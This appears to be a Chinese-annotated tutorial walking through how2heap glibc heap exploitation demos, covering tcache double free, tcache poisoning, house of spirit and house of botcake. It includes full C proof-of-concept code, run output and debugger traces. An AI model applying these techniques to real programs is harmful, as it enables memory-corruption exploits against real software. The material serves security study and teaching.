+/* We overlay this structure on the user-data portion of a chunk when + the chunk is stored in the per-thread cache. */ +typedefstructtcache_entry +{ + structtcache_entry *next; +} tcache_entry; + +/* There is one of these for each thread, which contains the + per-thread cache (hence "tcache_perthread_struct"). Keeping + overall size low is mildly important. Note that COUNTS and ENTRIES + are redundant (we could have just counted the linked list each + time), this is for performance reasons. */ +typedefstructtcache_perthread_struct +{ + char counts[TCACHE_MAX_BINS]; + tcache_entry *entries[TCACHE_MAX_BINS]; +} tcache_perthread_struct; + +static __thread char tcache_shutting_down = 0; +static __thread tcache_perthread_struct *tcache = NULL;
fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
return0; }
运行结果
1 2 3 4 5 6
This file demonstrates a simple double-free attack with tcache. Allocating buffer. malloc(8): 0x56028230f260 Freeing twice... Now the free list has [ 0x56028230f260, 0x56028230f260 ]. Next allocated buffers will be same: [ 0x56028230f260, 0x56028230f260 ].
intmain() { //此demo的效果就是返回一个指向任意地址的指针,与fastbin corruption攻击极其相似(本例返回的地址是一个栈地址) fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n\n");
size_t stack_var; //我们想要返回的地址是stack_var fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
fprintf(stderr, "Now the tcache list has [ %p ].\n", a); //我们通过覆写第一个chunk的fd指针,使其指向我们的栈地址 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
This file demonstrates a simple tcache poisoning attack by tricking malloc into returning a pointer to an arbitrary location (in this case, the stack). The attack is very similar to fastbin corruption attack.
The address we want malloc() to return is 0x7ffeeef34a50. Allocating 1 buffer. malloc(128): 0x5560af76b260 Freeing the buffer... Now the tcache list has [ 0x5560af76b260 ]. We overwrite the first 8 bytes (fd/next pointer) of the data at 0x5560af76b260 to point to the location to control (0x7ffeeef34a50). 1st malloc(128): 0x5560af76b260 Now the tcache list has [ 0x7ffeeef34a50 ]. 2nd malloc(128): 0x7ffeeef34a50 We got the control
intmain() { //本文件是通过tcache来利用house of sprirt技术的demo fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
//这个技术与原始的HOS利用方式相似,但我们不需要在fake chunk被free之后创建fake chunk fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
//我们可以看到在malloc.c中的_int_free调用tcach_put时并没有检查下一个chunk的szie和prev_inuse位是合理的 fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
//搜索字符串"invalid next size"和"double free or corruption" fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
//好了,现在我们开始 fprintf(stderr, "Ok. Let's start with the example!.\n\n");
//先调用一次malloc来设置内存 fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
//想象一下,现在我们覆写一个指针来指向我们的fake chunk区域 fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region
//该区域包括一个fake chunk fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
//此chunk的size必须在是符合tcache大小的即chunk的size要小于0x410,这也就意味着我们malloc的size要小于0x408(在x64位上。而我们的PREV_INUSE(lsb)位在tcache chunks中是被忽略了的,但是另外两个标志位会引发一些问题,他们是IS_MAPPED和NON_MAIN_ARENA fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
//要注意的是这个也必须是下一次malloc请求的size,会是一个区间,举一个例子,在x64上,0x30-0x38都将被防到0x40中,因此他们最后使用malloc的参数 fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
//现在我们将用有着第一个fake chunk地址的fake chunk与来覆写我们的指针 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
//要注意的是我们chunk的内存地址将会以16字节对齐 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
//此时释放被覆写的指针 fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
//现在我们再malloc就会返回我们的fake chunk了 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
程序运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
This file demonstrates the house of spirit attack on tcache. It works in a similar way to original house of spirit but you don't need to create fake chunk afterthe fake chunk that will be freed. You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane. (Search for strings "invalid next size"and"double free or corruption")
Ok. Let's start withthe example!.
Calling malloc() once so thatit sets up its memory. Let's imagine we will overwrite 1 pointer to point to a fake chunk region. This region contains one fake chunk. It's size field is placed at0x7ffcb22034d8 This chunk size has to be falling intothe tcache category (chunk.size <= 0x410; malloc arg <= 0x408on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size ofthe next malloc request rounded tothe internal size used bythe malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to0x40, so they would work forthe malloc parameter attheend. Now we will overwrite our pointer withthe address ofthe fake region inside the fake first chunk, 0x7ffcb22034d8. ... note thatthe memory address ofthe *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will returnthe region of our fake chunk at0x7ffcb22034d8, which will be 0x7ffcb22034e0! malloc(0x30): 0x7ffcb22034e0
15 malloc(1); 16 ► 17 fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
18 unsigned long long *a; //pointer that will be overwritten 19 unsigned long long fake_chunks[10]; //fake chunk region 20 ► 21 fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
► 25 fake_chunks[1] = 0x40; // this is the size
31 a = &fake_chunks[2]; 32 ► 33 fprintf(stderr, "Freeing the overwritten pointer.\n");
34 free(a); 35 ► 36 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); //调用一次malloc来初始化堆 fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
//现在我们将覆写一个指针来指向一个伪造的fastbin域 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; //这个和fastbinY无关,不要被这个10所骗,fake_chunks只是一块内存 // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
//这个域包含了两个chunk,第一个从fake_chunks[1]开始,另一个从fake_chunks[9]开始 fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
//这个chunk的size必须符和fastbin的要求(<=128 x64位系统),PREV_INUSE位在fasybin-sized chunks中也是被忽略的,但是IS_MAPPED和NON_MAIN_AREN会引发一些问题 fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
//下一个fake chunk的size必须是合法的。 即> 2 * SIZE_SZ(在x64上需要> 16)和&<av-> system_mem(对于main arena来说,默认为<128kb)并且可以通过nextsize完整性检查。 但是我们无需符和Fastbin的大小 fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
//现在我们将通过有着fake first chunks的fake区域地址来覆写我们的指针 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); //要注意的是,chunk必须是16字节对齐的 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); //现在下一次的malloc就将会返回我们的fake chunk了 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
This file demonstrates the house of spirit attack. Calling malloc() once so that it sets up its memory. We will now overwrite a pointer to point toa fake 'fastbin' region. This region (memory oflength: 80) containstwo chunks. The first starts at0x7ffe23a56258andthesecondat0x7ffe23a56298. This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling intothe fastbin category (<= 128onx64). ThePREV_INUSE (lsb) bitisignoredbyfreeforfastbin-sizedchunks, howevertheIS_MMAPPED (secondlsb) andNON_MAIN_ARENA (thirdlsb) bitscauseproblems. ... note that this has to be the size ofthe next malloc request rounded tothe internal size used bythe malloc implementation. E.g. onx64, 0x30-0x38willallberoundedto0x40, sotheywouldworkforthemallocparameterattheend. The chunk.size ofthe *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16onx64) && < av->system_mem (< 128kbbydefaultforthemainarena) topassthenextsizeintegritychecks. Noneedforfastbinsize. Now we will overwrite our pointer withthe address ofthe fake region inside the fake first chunk, 0x7ffe23a56258. ... note that the memory address ofthe *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will returnthe region of our fake chunk at0x7ffe23a56258, which will be 0x7ffe23a56260! malloc(0x30): 0x7ffe23a56260
关键调试
本例断点下在了
1 2 3 4 5 6 7 8 9 10 11 12 13
► 11 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); 12 unsigned long long *a;
20 fake_chunks[1] = 0x40; // this is the size ► 22 fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
24 fake_chunks[9] = 0x1234; // nextsize 25 ► 26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
intmain() { //本攻击可以bypass glibc 新增加的一些限制,如果libc没有该限制,我们可以直接用double free来做更简单的tcache poisoning了 /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning */ //关闭缓冲区并使得_FILE_IO不会影响到我们的堆 // disable buffering and make _FILE_IO does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction //本demo是一个强力的攻击手段,通过tcache posioning attack来欺骗malloc返回一个指向任意地址的指针 puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); //本攻击仅依赖于double free puts("This attack only relies on double free.\n");
// prepare the target //攻击目标 intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
// prepare heap layout //布置一下栈 puts("Preparing heap layout"); //首先申请7个大小为0x100的chunks来为后面填满tcache做准备 puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } //为了后面consolidation而申请一个chunk puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); //申请我们的vitcim chunk puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); //申请一个用于防止合并的chunk puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10);
// cause chunk overlapping //现在需要我们来做一个chunk overlapping puts("Now we are able to cause chunk overlapping"); //首先填满tcache list puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } //第二步:将我们的victim free掉来让他被扔到unsorted bin中 puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); //第三步:free前面的chunk来与我们的victim chunk合并 puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); //第四步:通过从tcache中取出一个chunk来把我们的victim chunk放到tcache list中,并且再free一次victim chunk puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/
//简单的tcache poisoning // simple tcache poisoning puts("Launch tcache poisoning"); //现在victim被包含在一个更大的free chunk中,我们可以通过overlapp chunk来做一个简单的tcache poisoning puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var;
// take target out puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c);
// sanity check assert(c==stack_var); printf("Got control on target/stack!\n\n");
// note puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily."); //请注意,关于本技术还有一个非常完美的东西,如果我们可以再次free b,free victim,并且可以修改victim的fwd指针,一旦我们成功利用本技术,那么就意味着我们拥有了多次很简单的任意写的机会了
This file demonstrates a powerful tcache poisoning attack by tricking malloc into returning a pointer to an arbitrary location (in this demo, the stack). This attack only relies on double free.
The address we want malloc() toreturn, namely, the target address is0x7fff07789970.
Preparing heap layout Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later. Allocating a chunk for later consolidation Allocating the victim chunk. malloc(0x100): a=0x564e770f6ae0. Allocating a padding to prevent consolidation.
Now we are able to cause chunk overlapping Step 1: fill up tcache list Step 2: free the victim chunk so it will be added to unsorted bin Step 3: free the previous chunk and make it consolidate withthe victim chunk. Step 4: add the victim chunk to tcache listby taking one out fromitand free victim again
Launch tcache poisoning Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk We simply overwrite victim's fwd pointer Now we can cash out the target chunk. The new chunk isat0x7fff07789970 Got control on target/stack!
Note: And the wonderful thing about this exploitation isthat: you can free b, victim again and modify the fwd pointer of victim In that case, once you have done this exploitation, you can have many arbitary writes very easily.
关键代码调试
下面我们就直接来调试吧,断点如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
31 puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); 32 intptr_t *x[7]; 33 for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ 34 x[i] = malloc(0x100); 35 } _ 36 puts("Allocating a chunk for later consolidation");
37 intptr_t *prev = malloc(0x100); 38 puts("Allocating the victim chunk."); 39 intptr_t *a = malloc(0x100); 40 printf("malloc(0x100): a=%p.\n", a); 41 puts("Allocating a padding to prevent consolidation.\n"); _ 42 malloc(0x10);
47 for(int i=0; i<7; i++){ 48 free(x[i]); 49 } _ 50 puts("Step 2: free the victim chunk so it will be added to unsorted bin");